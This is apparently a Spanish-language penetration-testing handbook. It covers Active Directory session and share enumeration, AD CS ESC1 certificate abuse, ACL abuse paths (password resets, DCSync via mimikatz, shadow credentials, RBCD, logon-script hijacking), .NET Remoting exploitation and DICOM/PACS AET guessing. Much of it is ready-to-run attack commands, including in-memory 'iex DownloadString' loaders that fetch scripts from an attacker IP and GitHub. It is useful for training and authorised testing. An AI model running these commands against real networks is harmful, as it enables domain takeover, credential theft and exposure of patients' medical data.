</code></pre></td></tr><tr><td>CMD</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">gpresult /r
</code></pre></td></tr></tbody></table>

## Objetos AD

### **Obtener todos los objetos que hayan cambiado tras una determinada fecha**

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server xtormincorp.local
</code></pre></td></tr></tbody></table>

### **Enumerar cuentas que cuenten con un badPwdCount > 0**

Esto es útil para enumerar las cuentas que ya cuenten con intentos de contraseñas fallidas. ¿Y por qué es interesante este dato? Porque antes de hacer un ataque de password spraying, se pueden omitir estas cuentas de la prueba para evitar bloquearlas:

<table><thead><tr><th width="148">Herramienta</th><th>Comando</th></tr></thead><tbody><tr><td>AD Module</td><td><pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
</code></pre></td></tr></tbody></table>

## Sesiones activas

### **Enumerar todas las sesiones usando el fichero CSV de equipos listado en el script anterior:**

```powershell
# Cargar equipos desde el CSV exportado anteriormente
$computers = Import-Csv -Path ".\domain_computers.csv"

# Array para almacenar resultados
$userSessions = @()

foreach ($computer in $computers) {
    $hostname = $computer.dnshostname

    if (-not $hostname) {
        Write-Warning ("El equipo {0} no tiene un DNS hostname definido, se omite." -f $computer.name)
        continue
    }

    Write-Host "`nObteniendo sesiones de: $hostname" -ForegroundColor Cyan

    $result = [PSCustomObject]@{
        Hostname            = $hostname
        NetLoggedOnUsers    = $null
        LocallyLoggedUsers  = $null
        LastLoggedUser      = $null
    }

    try {
        $netLogged = Get-NetLoggedon -ComputerName $hostname
        if ($netLogged) {
            $result.NetLoggedOnUsers = ($netLogged | Select-Object -ExpandProperty UserName) -join ', '
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-NetLoggedon para {0}: {1}" -f $hostname, $msg)
    }

    try {
        $localLogged = Get-LoggedonLocal -ComputerName $hostname
        if ($localLogged) {
            $result.LocallyLoggedUsers = ($localLogged | Select-Object -ExpandProperty UserName) -join ', '
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-LoggedonLocal para {0}: {1}" -f $hostname, $msg)
    }

    try {
        $lastLogged = Get-LastLoggedOn -ComputerName $hostname
        if ($lastLogged) {
            $result.LastLoggedUser = $lastLogged.UserName
        }
    } catch {
        $msg = $_.Exception.Message
        Write-Warning ("Error en Get-LastLoggedOn para {0}: {1}" -f $hostname, $msg)
    }

    $userSessions += $result
}

# Mostrar en tabla
$userSessions | Format-Table -AutoSize

# Exportar a CSV
$userSessions | Export-Csv -Path ".\user_sessions_all.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nSesiones exportadas a 'user_sessions_all.csv'" -ForegroundColor Green
```

### **Enumerar las sesiones de todas las máquinas remotas**

#### Invoke-SessionHunter

<https://github.com/Leo4j/Invoke-SessionHunter>

{% code overflow="wrap" %}

```powershell
. .\Invoke-SessionHunter.ps1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-SessionHunter -NoPortScan -RawResults | select Hostname,UserSession,Access
```

{% endcode %}

```powershell
HostName       UserSession                Access
--------       -----------                ------
xcorp-appsrv   xcorp\appadm                False
xcorp-ci       xcorp\ciadmi                False
eu-dc          EU\Administrator            False
xcorp-adminsrv xcorp\appadm                 True
xcorp-adminsrv crm\srvadmin                 True
xcorp-adminsrv xcorp\websvc                 True
```

Si se quiere realizar lo mismo, pero contra una lista de *hosts* en concreto:

```
PS C:\AD\Tools> cat hosts.txt

FILESERVER
DC01
GESTION
CRM
```

{% code overflow="wrap" %}

```powershell
Invoke-SessionHunter -NoPortScan -RawResults -Targets C:\AD\Tools\hosts.txt | select Hostname,UserSession,Access
```

{% endcode %}

Ejemplo de acceso remoto:

{% code overflow="wrap" %}

```powershell
winrs -r:crm cmd /c "set computername && set username"
```

{% endcode %}

Otras vías de [Misc](/pentesting-en-infraestructuras/misc#conexion-remota)

#### PowerView

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/PowerView.ps1'))
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1'))
```

{% endcode %}

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong><a data-footnote-ref href="#user-content-fn-1">Find-DomainUserLocation</a>
</strong></code></pre>

```
UserDomain      : xtormincorp
UserName        : srvadmin
ComputerName    : crm.xtormincorp.local
IPAddress       : 192.168.1.10
SessionFrom     :
SessionFromName :
LocalAdmin      :
```

Acceso remoto:

{% code overflow="wrap" %}

```powershell
winrs -r:dcorp-mgmt hostname;whoami
winrs -r:crm cmd /c "set computername && set username"
```

{% endcode %}

## Campertas compartidas / Shares

{% code overflow="wrap" %}

```powershell
Find-DomainShare
Find-DomainShare -CheckShareAccess
```

{% endcode %}

### PowerHuntShares

Es una herramienta en PowerShell desarrollada por NetSPI que permite descubrir y analizar potenciales vulnerabilidades en carpetas compartidas vía SMB en entornos Active Directory.

Su objetivo es facilitar la identificación de **permisos excesivos**, **shares de alto riesgo** y **potenciales vectores de ataque** a través de un análisis automatizado con generación de informes en HTML y CSV.

{% code overflow="wrap" %}

```powershell
Import-Module .\PowerHuntShares.psm1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
# Reduce SSL operating level to support connection to GitHub
[System.Net.ServicePointManager]::ServerCertificateValidationCallback ={$true}
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")
```

{% endcode %}

Se puede contar con una lista de hosts objetivo ya predefinida o que sea necesario enumerar.

Por ejemplo, se pueden enumerar los equipos en AD con el siguiente comando de PowerView y crear un txt con la lista para usarla posteriormente como lista de hosts objetivo en adelante:

{% code overflow="wrap" %}

```powershell
Get-DomainComputer | select -ExpandProperty dnshostname > C:\Pentent\SMB\servers.txt
```

{% endcode %}

Luego, podemos usar la herramienta para crear un reporte con los resultados de las pruebas que se realicen:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">Invoke-HuntSMBShares -NoPing -OutputDirectory C:\Pentent -HostList <a data-footnote-ref href="#user-content-fn-2">C:\Pentent\SMB\servers.txt</a>
</code></pre>

Al finalizar se creará una carpeta con un fichero html que contendrá el resumen de resultados.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FbprZYz0usYWiP2LiOfel%2Fimage.png?alt=media&amp;token=6c380eae-61c3-498c-875d-705292c326e4" alt=""><figcaption></figcaption></figure>

* Con credenciales:

{% code overflow="wrap" %}

```powershell
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Pentent\SMB\servers.txt -Credentials "DOMINIO\usuario"
```

{% endcode %}

* Desde una máquina fuera del dominio:

{% code overflow="wrap" %}

```powershell
runas /netonly /user:DOMINIO\usuario powershell.exe

Import-Module .\PowerHuntShares.psm1

Invoke-HuntSMBShares -OutputDirectory C:\Pentent\SMB\servers.txt -DomainController 10.0.0.1 -Credential DOMINIO\usuario
```

{% endcode %}

## Registros a CSV

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">$OUTFOLDER="C:\Pentest\Enum"
mkdir $OUTFOLDER
Get-DomainUser | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_users_list.txt"
Get-DomainGroup | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_groups_list.txt"
<strong>Get-DomainComputer | select -ExpandProperty dnshostname > $OUTFOLDER"\AD_computers_list.txt"
</strong>Get-DomainOU | select -ExpandProperty name > $OUTFOLDER"\AD_OUs_list.txt"
</code></pre>

[^1]: Tarda un poco en finalizar la ejecución, paciencia...

[^2]: dc.xtormincorp.local

    shares.xtormincorp.local

    sm01.xtormincorp.local


# AD CS

ADCS es el rol de servicios de certificación de Microsoft que permite emitir, administrar y validar certificados digitales dentro de una infraestructura Windows.

<table><thead><tr><th width="136.4000244140625">Componente</th><th>Función</th></tr></thead><tbody><tr><td><strong>Enterprise CA</strong></td><td>Autoridad de certificación integrada con Active Directory</td></tr><tr><td><strong>Certificate Templates</strong></td><td>Plantillas que definen qué permisos, usos y configuraciones tienen los certificados emitidos</td></tr><tr><td><strong>Enrollment</strong></td><td>Proceso por el cual un usuario o máquina solicita un certificado</td></tr><tr><td><strong>PKINIT</strong></td><td>Autenticación Kerberos mediante certificado (en lugar de hash o password)</td></tr></tbody></table>

Flujo común de emisión de certificados:

1. El usuario o sistema solicita un certificado a la CA.
2. La CA valida si puede emitir ese certificado (según la plantilla).
3. Si todo es correcto, emite un certificado firmado digitalmente.
4. Ese certificado puede ser usado como mecanismo de autenticación.

{% hint style="danger" %}
L**a lógica de emisión puede estar mal configurada**, permitiendo:

* Que usuarios normales generen certificados que impersonan a otros usuarios (como Domain Admin)
* Que cualquier máquina pueda pedir certificados para autenticarse como otra
* Que un atacante persista generando certificados válidos incluso después de un reseteo de contraseñas
  {% endhint %}

```bash
# Discover ADCS servers in the environment
nxc ldap 192.168.56.10-23 -u '' -p '' -M adcs
```

### ESC1: Plantillas de Certificado Desconfiguradas

Cuando todas estas condiciones se cumplen, se puede solicitar un certificado para cualquier usuario del dominio:

1. **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** habilitada.
2. **Autenticación del Cliente** o **Cualquier Propósito** EKU (pkiextendedkeyusage = Client Authentication).
3. **Usuarios de Dominio** con permisos de inscripción.
4. **Sin aprobación del manager** requerido.

Identificación de plantillas vulnerables:

```powershell
Certify.exe find /vulnerable /enabled /enrolleeSuppliesSubject
```

Solicitud de certificado en nombre del administrador:

{% code overflow="wrap" %}

```powershell
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:essos\administrator /sid:S-1-5-21-1394808576-3393508183-1134699666-500
```

{% endcode %}

## Referencias

* [https://xbz0n.sh/blog/adcs-complete-attack-reference](<https://xbz0n.sh/blog/adcs-complete-attack-reference&#xA;&#xA;&#xA;>)
* <https://specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf>


# Enumeración

##


# ACL

## <mark style="color:red;">Modelo de Control de Acceso</mark>

* **Access token**: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).
* **Security Descriptor** del objeto:
  * **Owner SID**
  * **DACL** (quién puede/qué puede)
  * **SACL** (qué se audita: éxitos/fallos)
* **Evaluación DACL** (cómo decide Windows):
  1. Se procesan las ACE en **orden canónico**: *denegaciones explícitas → permisos explícitos → heredadas*.
  2. Si una **deny** encaja (por usuario/grupo), **bloquea**, aunque haya “allow” más abajo (como en la imagen de Andrew).
  3. Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.
* Tipos de ACE que nos interesan para escalada:\
  **GenericAll**, **GenericWrite**, **WriteDacl**, **WriteOwner**, **Owner**, **AllExtendedRights**, **AddMember** (en grupos), derechos específicos como **DCSync** (replication-\*).

## <mark style="color:red;">¿Por qué importan las ACLs?</mark>

Porque **permisos delegados** o mal configurados crean caminos a:

* **Añadirte a un grupo** (p. ej., *AddMember* sobre un grupo privilegiado).
* **Resetear contraseñas** (extended right sobre usuarios).
* **Cambiar DACL/Owner** (persistencia/PE).
* **DCSync** (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).

## <mark style="color:red;">Herramientas que mapean ACLs con acciones</mark>

## <mark style="color:red;">Identificación y explotación de ACLs</mark>

### Añadirse a un grupo privilegiado

#### **Derechos**

* Sobre el *grupo* objetivo: `WriteProperty` del atributo **member** o **AddMember** (Extended Right), o **GenericWrite/GenericAll**.

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `AddMember`, `GenericWrite`, `GenericAll`).
* Específico: `Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs` y buscar tu identidad en las ACE.
* BloodHound: busca aristas **AddMember/GenericWrite/GenericAll** hacia ese grupo.

#### **Explotación**

* PowerView: `Add-DomainGroupMember -Identity "Domain Admins" -Members <tú>`\
  (o añade primero permisos con `Add-DomainObjectAcl` si tienes `WriteDacl`).

***

### **Resetear contraseña** de otro usuario (sin conocer la actual)

#### **Derechos**

* Sobre el *usuario* objetivo: Extended Right **Reset Password** (o **AllExtendedRights/GenericAll**).

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `ResetPassword` / `AllExtendedRights`).
* ADModule (visión cruda): `(Get-Acl 'AD:\CN=victim,...').Access` y buscar el derecho (sin resolución de GUID).

#### **Explotación**

* PowerView:\
  `Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)`

***

### **Kerberoast** escribiendo un **SPN** en una cuenta que controlas

#### **Derechos**

* Sobre *esa* cuenta (usuario/computer): `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs` (busca `servicePrincipalName`).
* BloodHound: edge **GenericWrite** sobre la cuenta.

#### **Explotación**

* PowerView: `Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}`
* Luego: `Rubeus kerberoast` para obtener y crackear el TGS.

***

### **AS-REP Roast** (deshabilitar preauth en una víctima)

#### **Derechos**

* Sobre el *usuario* objetivo: `WriteProperty` de **userAccountControl** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (mira `userAccountControl`).

#### **Explotación**

* PowerView: `Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304}` (bit DONT\_REQ\_PREAUTH)
* `Rubeus asreproast` para capturar AS-REP y crackear.

***

### **Shadow Credentials** (PKINIT sin contraseña)

#### **Derechos**

* Sobre el *usuario/objeto* objetivo: `WriteProperty` de **msDS-KeyCredentialLink** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (buscar `msDS-KeyCredentialLink`).

#### **Explotación**

* Herramientas: **Whisker** / funciones para **KeyCredentialLink** → añades tu clave.
* Luego TGT via **PKINIT** (Rubeus `/pkinit`) y suplantas esa identidad.

***

### **RBCD** (Delegación basada en recurso)

#### **Derechos**

* Sobre el *equipo recurso* (TARGET$): `WriteProperty` de **msDS-AllowedToActOnBehalfOfOtherIdentity** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs` (buscar ese atributo).

#### **Explotación**

* Crea/comanda una cuenta máquina que controles (Powermad `New-MachineAccount` o una ya tuya).
* Escribe el **msDS-AllowedToActOnBehalfOfOtherIdentity** del TARGET$ con el SID de tu máquina.
* **Rubeus s4u**: `Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET`

### Constrained Delegation (clásica)

#### **Derechos**

* Sobre la *cuenta delegante* (user/computer): `WriteProperty` de **msDS-AllowedToDelegateTo** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs`.

#### **Explotación**

* Añade SPNs de destino a **msDS-AllowedToDelegateTo**.
* `Rubeus s4u` para S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.

***

### **DCSync** (replicar hashes del dominio)

**Derechos**

* Sobre la **raíz del dominio** (y a veces Config): Extended Rights\
  **DS-Replication-Get-Changes**, **…-All**, (y en algunos entornos **…-In-Filtered-Set**).

**Enumerar**

* PowerView (sobre root DN):\
  `(Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }`
* BloodHound: *Find Principals with DCSync Rights*.

**Explotar**

* `mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"`
* o `secretsdump.py` (Impacket).

***

### **Tomar propiedad / abrir DACL** de un objeto y luego concederme todo

#### **Derechos**

* **WriteOwner** o ser **Owner** del objeto → asumir propiedad.
* **WriteDacl** → modificar la DACL y darme **GenericAll**.

#### **Enumeración**

* `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `WriteOwner`/`WriteDacl`).

#### **Explotación**

* `Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>`
* `Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All`

***

### **LAPS** (leer la contraseña local admin de equipos gestionados)

#### **Derechos**

* Sobre *equipos*: permiso de **lectura** de atributo **ms-Mcs-AdmPwd** / `ms-Mcs-AdmPwdExpirationTime`.

#### **Enumeración**

* `Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs` (buscar lectura sobre esos atributos).

#### **Explotación**

* ADModule: `Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwd`
* Accede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).

***

### **GPO Link Abuse** (enlazar un GPO malicioso a una OU)

#### **Derechos**

* Sobre la **OU**: `WriteProperty` de **gPLink** (o **GenericWrite/GenericAll**).
* Para editar el GPO: derechos sobre el **objeto GPO** y escritura en **SYSVOL** del GPO.

#### **Enumeración**

* OU: `Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs` (buscar `gpLink`).
* GPO: ACL de `CN={GUID},CN=Policies,...` y permisos NTFS en `\\<dc>\SYSVOL\...`.

#### **Explotación**

* Herramienta: **SharpGPOAbuse** (crear Scheduled Task/Local Admin vía GPP).
* O modificar `gPLink` para enganchar tu GPO ya preparado.

***

### **Cambiar logon script / profile path** de una víctima (ejecución en su contexto)

#### **Derechos**

* Sobre el *usuario*: `WriteProperty` de **scriptPath** / **homeDrive/homeDirectory** / **profilePath**.

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}`
* Script se ejecutará en su próximo logon.

***

### **Agregar SPNs a equipos** (abuso de cuentas máquina)

#### **Derechos**

* Sobre el *equipo*: `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}`
* Útil para ciertos flujos de delegación/roasting.


# Servicios

## Descubrimiento de hosts

<pre class="language-bash"><code class="lang-bash"><strong>nmap -v -sn -n -oA ~/Pentest/nmap/hosts_discovery -iL ~/Pentest/scope/scope.txt
</strong></code></pre>

## Escáner de puertos

```bash
git clone https://github.com/xtormin/CyberSnippets.git
```

### Lista de hosts

**Alcance de redes en formato CIDR**

Si contamos con una lista de redes en formato CIDR, se pueden almacenar en un fichero scope.txt y usar la siguiente herramienta para obtener una lista con todos los hosts dentro del alcance que se analizarán:

{% code overflow="wrap" %}

```bash
python ~/Pentest/tools/CyberSnippets/scripts/cidr_to_hosts_list.py -f ~/Pentest/scope/scope.txt -o ~/Pentest/scope/scope_hosts_list.txt
```

{% endcode %}

**Alcance de hosts descubiertos**

Si quieremos realizar un escáner solamente contra los hosts activos, se puede realizar un descubrimiento de puertos previo y posteriormente sacar la lista de hosts activos [(Descubrimiento de hosts](#descubrimiento-de-hosts)):

```bash
cat ~/Pentest/nmap/hosts_discovery.gnmap | awk '/Up$/{print $2}'
```

Para guardarlo en un fichero:

{% code overflow="wrap" %}

```bash
cat ~/Pentest/nmap/hosts_discovery.gnmap | awk '/Up$/{print $2}' > ~/Pentest/scope/hosts_alive.txt
```

{% endcode %}

{% hint style="info" %}
En caso de que se quiera excluir algún hosts se puede editar la lista y eliminarlos antes de realizar el escáner.
{% endhint %}

### TCP

#### Top 1000

{% code overflow="wrap" %}

```bash
bash ~/Pentest/tools/CyberSnippets/scripts/network_scan_logger.sh ~/Pentest/scope/hosts_alive.txt tcp-100
```

{% endcode %}


# .NET Remoting

## Explotación

### NewRemotingTricks

<https://github.com/codewhitesec/NewRemotingTricks>

```bash
git clone https://github.com/codewhitesec/NewRemotingTricks.git
```

Se compila, por ejemplo, con Visual Studio 2022.

```powershell
.\RemotingClient_MBRO.exe tcp://192.168.1.100:8090/LoggingSink C:\Windows.ini
.\RemotingClient_MBVO.exe tcp://192.168.1.100:8090/LoggingSink C:\Windows.ini
```

<https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/>

### ExploitRemotingService

<https://github.com/tyranid/ExploitRemotingService>

```bash
git clone https://github.com/tyranid/ExploitRemotingService.git
```

Se compila, por ejemplo, con Visual Studio 2022.

```powershell
.\ExploitRemotingService.exe tcp://$IP:$PORT ver
.\ExploitRemotingService.exe tcp://$IP:$PORT ls C:\
.\ExploitRemotingService.exe tcp://$IP:$PORT cmd whoami
```

## Recomendaciones

{% hint style="success" %}
Microsoft recomienda migrar a WCF o ASP.NET Web API.
{% endhint %}

<https://learn.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf>

## Referencias

* <https://www.nccgroup.com/us/research-blog/finding-and-exploiting-net-remoting-over-http-using-deserialisation/>
* <https://learn.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf>
* <https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html>
* <https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/>


# DICOM / DICOM-TLS

Protocolo DICOM (Digital Imaging and Communications in Medicine)

> DICOM® — Imágenes y Comunicaciones Digitales en Medicina — es *el* Estándar internacional para imágenes médicas e información relacionada. Define los formatos de imágenes médicas que pueden intercambiarse con los datos y la calidad necesarios para el uso clínico.

<table data-header-hidden><thead><tr><th width="178"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td><p>104 y 11112 (DICOM) </p><p>2752 (DICOM-TLS)</p></td></tr><tr><td><strong>Protocolo</strong></td><td>TCP</td></tr></tbody></table>

## <mark style="color:$primary;">Introducción</mark>

* Origen: Desarrollado inicialmente por el ACR (American College of Radiology) y NEMA (National Electrical Manufacturers Association).
* Mantenimiento: Actualmente gestionado por la Medical Imaging & Technology Alliance (MITA).
* Especificaciones: Definido formalmente en el DICOM Standard y resumido en la RFC 3240.

### Arquitectura

DICOM opera bajo un modelo cliente-servidor basado en roles negociados:

* AE (Application Entity): Cualquier dispositivo o software capaz de procesar datos DICOM.
  * SCU (Service Class User): El cliente; el dispositivo que solicita un servicio.
  * SCP (Service Class Provider): El servidor; el dispositivo que proporciona el servicio (típicamente un servidor PACS).
* PACS (Picture Archiving and Communication Systems): Servidores dedicados que escuchan peticiones DICOM.

### Conceptos clave

#### Application Entity Title (AET)

Es un identificador sensible a mayúsculas que especifica el origen o destino de un mensaje.

* Debilidad de seguridad: Aunque se usa como control de acceso, no es un método de autenticación fuerte. A menudo son predecibles o están mal configurados, permitiendo ataques de suplantación de identidad (impersonation).

#### IOD (Information Object Definitions)

Colecciones de atributos que representan objetos reales (ej. un Paciente). Contienen PHI (Protected Health Information) crítica como:

* Nombre e ID del paciente.
* Fecha de nacimiento y sexo.
* Datos sensibles como el nombre de la madre.

#### Jerarquía de Datos DICOM

La información se organiza en cuatro niveles lógicos:

1. Paciente: Nivel superior (un paciente puede tener varios estudios).
2. Estudio: Colección de series relacionadas.
3. Serie: Grupo de imágenes vinculadas.
4. Imágenes: El archivo individual de datos médicos.

#### SOP (Service-Object Pair) y DIMSE

* SOP: La unión de un IOD con un servicio específico (define las reglas de uso).
* DIMSE (DICOM Message Service Element): Son los comandos u operaciones.
  * C-STORE: Almacenamiento de datos.
  * C-FIND: Búsqueda/Consulta de información.
  * C-MOVE / C-GET: Recuperación y transferencia de imágenes.

### El proceso de asociación

La Asociación es el "apretón de manos" (handshake) obligatorio al inicio de cualquier conexión DICOM. En esta fase se intercambian:

* Títulos de AE (AET).
* Información de usuario.
* Servicios solicitados vs. disponibles.

Mensajes de Asociación:

* `A-Associate-RQ`: Solicitud del SCU.
* `A-Associate-AC`: Aceptación del SCP.
* `A-Associate-RJ`: Rechazo del SCP.

## <mark style="color:$primary;">Vectores de ataque comunes</mark>

La complejidad del protocolo DICOM genera múltiples vectores de ataque si la administración no es rigurosa:

* **Intercepción de PHI:** Debido a que el tráfico por defecto es en texto plano (puerto 104), los datos médicos pueden ser capturados mediante sniffing en redes no segmentadas.
* **Exfiltración de Metadatos:** El uso de comandos `C-FIND` con AETs descubiertos permite listar bases de datos completas de pacientes.
* **Suplantación de Identidad:** Si un atacante descubre un AET confiable (mediante fuerza bruta o archivos de configuración), puede impersonar una modalidad médica para extraer imágenes mediante `C-GET`.
* **Compromiso del Sistema:** Despliegues inseguros con puertos abiertos y sin TLS pueden servir como punto de entrada para el compromiso total del servidor PACS y, posteriormente, el pivotaje hacia el dominio de Active Directory de la organización de salud.

## <mark style="color:$primary;">Reconocimiento y enumeración</mark>

El objetivo en esta fase es mapear la arquitectura médica, identificar nodos críticos (PACS, Modalidades, Estaciones de trabajo) y descubrir identificadores de entidad (AET) válidos que permitan la comunicación con el servicio.

### Identificación de Servicios y Software

El primer paso es detectar puertos abiertos y determinar si el servidor implementa el estándar básico (texto plano) o DICOM-TLS (cifrado).

<table data-header-hidden><thead><tr><th width="149.44439697265625">Puerto Común</th><th width="211.00006103515625">Servicio</th><th>Notas</th></tr></thead><tbody><tr><td>104</td><td>DICOM Estándar</td><td>Puerto oficial por defecto.</td></tr><tr><td>11112</td><td>DCM4CHEE / Genérico</td><td>Muy común en implementaciones open-source.</td></tr><tr><td>4242</td><td>Orthanc</td><td>Puerto por defecto del servidor Orthanc.</td></tr><tr><td>2762</td><td>DICOM-TLS</td><td>Puerto estándar para conexiones seguras.</td></tr></tbody></table>

Utiliza scripts de enumeración para verificar si el puerto realmente aloja un proveedor de servicios DICOM:

```bash
nmap -p 104,11112,4242,2762 -sV --script dicom-ping <IP>
```

```
PORT      STATE     SERVICE     VERSION
104/tcp   open      dicom
| dicom-ping:
|     dicom: DICOM Service Provider discovered!
|_    config: Called AET check enabled
2762/tcp  open ssl/dicom-tls?
|_dicom-ping: ERROR: Script execution failed (use -d to debug)
4242/tcp  filtered vrml-multi-use
11112/tcp open dicom
| dicom-ping:
|     dicom: DICOM Service Provider discovered!
|_    config: Called AET check enabled
```

### Enumeración de identificadores

DICOM no utiliza credenciales tradicionales (usuario/contraseña). En su lugar, utiliza Application Entity Titles (AET). Estos son identificadores de nodo (generalmente en mayúsculas) que actúan como "nombres de buzón".

* Called AE Title (AEC): El nombre del servidor al que intentas conectar.
* Calling AE Title (AET): Tu nombre como cliente (a veces el servidor también lo valida).

#### Instalación de herramientas (DCMTK)

```bash
sudo apt install dcmtk
```

#### Descubrimiento del AET del Servidor (Called AET)

Muchos servidores rechazan la asociación si el `Called AET` es incorrecto. Si el escaneo de Nmap indicó que el chequeo está habilitado, utiliza `echoscu` para probar nombres comunes:

```bash
# Intentar adivinar el AET del servidor (Called AE Title)
echoscu -v -aec PACS <IP> 104
echoscu -v -aec ORTHANC <IP> 104
```

<details>

<summary>Lista de posibles AET de servidor (Documentación oficial)</summary>

```
DCM4CHEE
ORTHANC
PACS
SERVER
ANY-SCP
CONQUESTSRV1
DEFAULTSCP
IMAGE_SERVER
RIS
AE_ARCHIVE
ARCHIVE
DCMTK_STORAGE
DICOM_SERVER
DICOM_STORAGE
GE_PACS
SIEMENS_PACS
PHILIPS_PACS
AGFA_PACS
KODAK_PACS
RAD_STATION
MED_DATA
STORE_SCP
QUERY_RETRIEVE
MODALITY
WORKLIST
ECHO_TEST
```

</details>

<details>

<summary>Lista de posibles AET de servidor (No documentados oficialmente)</summary>

```
# AET habituales, pero no oficiales

PACS_SERVER
PACS_SCP
PACS_SCU
PACS_ARCHIVE
PACS1
PACS2
ARCHIVE
ARCHIVESCP
DICOM
DICOM_SCP
DICOM_SCU
DICOM_SRV
DICOM_SERVER
DICOM_PACS
DCM_SCP
DCM_SRV
DICOM_GATEWAY

ORTHANC1
ORTHANC2
ORTHANC-PROD
ORTHANC-DEV
ORTHANC-QA

CONQUEST
CONQUEST_PACS

IMGSRV
IMG_SERVER
IMAGE_SERVER1
IMAGE_SERVER2

RAD_SERVER
RADSRV
RAD_PACS

CT
CT1
CT2
CT01
CT02
CT_SCANNER
CT_SCN
CT-SCP

MRI
MRI1
MRI2
MR1
MR2
MRISCANNER
MR_SCANNER

US
US1
US2
US_SERVER
US-SCP

XRAY
XRAY1
XRAY2
CR
CR1
DR
DR1
NUC
PET
PETCT
SPECT

MODALITY
MOD1
MOD2

WORKSTATION
WORKSTATION1
WORKSTATION2
WS
WS1
WS2
VIEWER
VIEWER1
VIEWER2

QRSCP
QR_SCP
STORESCP
STORE_SCU
STORE1
STORE2

SERVER
SERVER1
SERVER2
SRV01
SRV02
SRV03
NODE1
NODE2
NODE3

GATEWAY
GATEWAY1
ROUTER
ROUTER1
PROXY
PROXY1

RIS
RIS_SERVER
HIS
HIS_SERVER

HOSPITAL
HOSPITAL_PACS
CLINIC
CLINIC_PACS
CENTER
CENTER_PACS

